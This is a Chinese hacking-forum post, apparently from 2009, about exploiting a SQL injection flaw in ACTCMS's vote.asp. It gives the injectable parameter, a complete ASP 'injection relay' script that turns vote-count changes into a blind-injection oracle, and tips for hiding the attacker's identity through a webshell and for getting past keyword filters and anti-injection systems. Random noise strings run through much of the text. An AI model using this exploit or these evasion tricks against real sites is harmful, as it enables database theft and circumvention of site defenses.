注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
! m5 X3 P6 h7 P0 A; j" Q, }链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
* a9 m9 M/ P# ?6 f5 u$ m漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
- K' h- ?2 D$ h# f
$ y7 m" b9 E# C8 p2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   
. Z3 {# T4 F2 [9 K
4    end if   
6 f, x- Y$ }; a" w; X' m
5    for i=1 to request("voted").count   
0 }6 ~9 c% r0 B1 y: ?% o
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
( [+ B& E8 o$ V8 }
! k4 Q; H! r6 I; s( ?7    next   

8....   
4 f1 o# j& x$ V2 k4 D9 d4 y4 }
4 F' e  ~: f2 b; R$ C5 F) X% t1 v9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
, g( F0 e( J$ y+ V; O/ r' h如果投票成功票数加1
3 h! q% X  I. z            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

) C7 K$ w# l% K$ Z" v: ?2009-12-27 13:20
& }" o* ^2 d' l/ y$ l
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
, Z8 o8 [) u& W8 g4 Y
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
/ Z$ Y4 T4 b" X0 Y" r; a  l9 S2 D先用寂寞的刺猬大牛的注入中转生成jmget.asp
; ]" k4 j/ _4 c( D9 z+ v注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
4 _6 i% A; n* f/ G5 J1 J
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")

: M) W8 t+ W9 B) [  ~+ Q03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

; m+ M" E* R, P' R& G/ [3 e04JmStr="id=1&voted=-1 or 1="&JmdcwName
0 f5 ~0 E7 Q  l/ X  Z+ p
- E: n. x8 R% x9 v: W* F05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
4 f# l5 C/ u' F* O5 E' [6 T
/ S$ t+ a/ I* X5 A3 M0 }6 u( y08testurl=testurl & "?" & JmStr

09JMUrl=JMUrl & "?" & JmStr
. T& M1 k$ v* Q9 Q2 L" m
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! m: }9 a# g: v& h$ z: s
( m- l. i4 `0 ?/ y( n! g* C$ R12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  
- z8 m% d  d+ n, ~/ M1 Y9 |: q7 e
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
  d  u/ I7 d6 U
9 D. u  _5 P) f; K# E16  
6 w1 N! A8 I% y  A8 k2 n) o
+ H/ }- p# P8 x* H17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
; t! u- g. y, ]0 n
# \; @5 |0 Z- u4 }. H  v( t, F$ ]18response.write test1&""&test2&""
5 O( n/ D- h8 S% Y8 b! J4 b5 G
19  
3 Y$ u6 `" e6 m5 X# J
20if test1=test2 then '如前后记录相等，表示失败
% b, O% |. V: b4 |; G. k0 J
21  response.write "failed"
  B. l. I) J3 n; Z6 g' a
0 N- Z5 r! U3 b3 G22else
7 [" P- q3 }4 g2 R5 ]# C
" c2 L6 e9 K9 Z( U: ^  i% d; d23  response.write "succeed"

. _; l. y9 l3 d24end if  

25  
- i- M3 {4 C: A# \1 O
26response.write "by 3x"
7 M8 X, \! w& Z: U' w, u3 P( k
4 R: E  r# a9 l' C7 b27  

28  

1 w1 h4 v- [$ w3 z7 p: q; M+ h1 }1 ?29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
- s4 w4 E6 u  |
30Dim Http

+ f- ]1 d+ k5 ]. P$ }31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

, T5 m! E" g; C0 Y) e+ ?32With Http

; a: i. W' I7 U/ W. R33  
" L3 u0 k- x# J3 M7 H4 L
34.Open "GET",PostUrl,False
1 n& g9 S5 t" j
- w. P% m/ a+ y8 o2 _! L! d) |! `35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef

& }  F& e3 U: l8 H1 g3 E1 W37.SetRequestHeader "Cookie",PostCok

38.Send ()

# o# g1 t2 F9 d+ j& ~- ]39PostData = .ResponseBody
5 H$ T  n' o; t; J4 A" t
40End With
  f% c0 E5 J  U
/ }& c( E3 A) U% u: v0 V41Set Http = Nothing
% b$ R+ B) \2 L
$ [8 m) F6 O2 f# ]" F% K42PostData =bytes2BSTR(PostData)

43End Function

7 R2 e0 |  a' `1 \7 ]; ^/ o. P( V44  

45  

$ G+ f* d8 W+ T' ]2 q; H7 V! r) V46Function bytes2BSTR(vIn)

47Dim strReturn
! V) [; j" i) u2 |! o
  K% ]! f6 @: }, [( i48Dim I, ThisCharCode, NextCharCode

+ ^4 e; Y1 T) B1 Q# q49strReturn = ""
4 \8 s* s2 P* e- N( x1 J  {7 E2 \& J
2 {, K' e/ I, ?# t& k50For I = 1 To LenB(vIn)
! D& i; q5 A- H3 K0 g8 r2 X9 U8 D
& `# @7 i! S' F$ m8 R0 Z! P51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

54Else
  h4 Z( c4 H3 y5 g$ K
0 `8 ]( ?! n9 x6 y8 R" ?55NextCharCode = AscB(MidB(vIn, I + 1, 1))
2 ?# H+ Z2 s* x8 Y* Z# _8 E
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

% W+ w( `! Z0 e  `8 l/ u57I = I + 1
% M3 o) ~* R" |( P4 k" |% c7 U# u
58End If
4 U3 F6 F! {0 Q$ i* x% Z- A
59Next
" q4 [; I* n! N, P
60bytes2BSTR = strReturn

$ X8 n2 T( F  {. U6 c& d/ w/ X61End Function
% K8 g4 Q7 z" S
( G. U' Y3 l7 c4 E( @62  
$ u1 _7 ?' A; o1 _6 Z( Z
* y. B- e" [- G63Function URLEncoding(vstrin)  

64strReturn=""

8 a: _3 e( l5 u8 O+ i) [1 D* j65Dim i
3 U6 l, a8 K+ M) m: h6 u- @
66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

" ?( x' a2 }' G" F# v6 d! S, P6 q  K68if Abs(Asc(ThisChr))< &HFF Then
) o9 a  m# i1 S2 P. R5 l1 _/ k
69strReturn=strReturn & ThisChr
% k, M  C  D. F6 N+ ?" x' L) n8 r* x
% X: |6 h+ t* x0 I6 w! v70Else

0 `( w9 ]6 d3 @0 @71InnerCode=Asc(ThisChr)
9 y  E7 i. @$ e7 }& i- a2 C
72If InnerCode<0 Then

1 V5 \$ a8 h9 ], L2 N73InnerCode=InnerCode + &H10000
; `* s5 Q0 I; j
74End If
" J" _9 ^  J: p6 C; S' j
0 r) [# W$ {* z5 G75Hight1=(InnerCode And &HFF00) \&HFF
# E3 s0 B7 N7 @7 G
76Low1=InnerCode And &HFF

$ \4 Y$ ~; H: G: q8 I: a" |77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

3 [2 y; A/ B9 q6 z: V78End if
# l7 }  }4 M" s; _
+ Z* J; W+ m# |9 w) k- }9 ~79Next

$ J; b& \9 L* B; z' h& G" _& i80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

  o( V! Y( s. l% R6 ~5 i8 O: R81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn
: \1 L7 v4 H% c  H$ Y1 |4 O& ~
84End Function

; U! Y+ [4 M+ N* e4 g& g85  

$ ~, u7 P3 Q1 b+ S7 Y86function getSt(body)
! L" a0 c6 w, `3 r6 w1 ^
87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
% r$ b5 C. B8 `; @! c
: O6 g$ J1 O! N0 v' p+ Y: i7 s% f89  getSt=mid(body,startpot,endpot-startpot)

; Q( d; `: b3 l( E, D90end function

91%>
5 D4 J* F- L( ]1 X  m+ Q9 d! l注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
  q% o% p( B) T. o' B9 \测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
( L* u) M* t) b( F  K, ^8 h0 K% p2 n+ t
2009-12-27 13:29
投票失败
. r0 K3 T6 d) S. U+ a' i( vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
7 A/ y  _! _( |0 G8 Y2 U-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

' }. V: \# F$ E, @) p注入中转的一些其他应用
& @- U3 m& x* K0 H其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
# U: ~6 ^/ Q1 t7 y" _9 F) d2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
% \3 B% G1 g& k- t+ q0 S4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
* J/ p' p8 `/ f: _. {
1 @: X" ]  e/ @0 z' D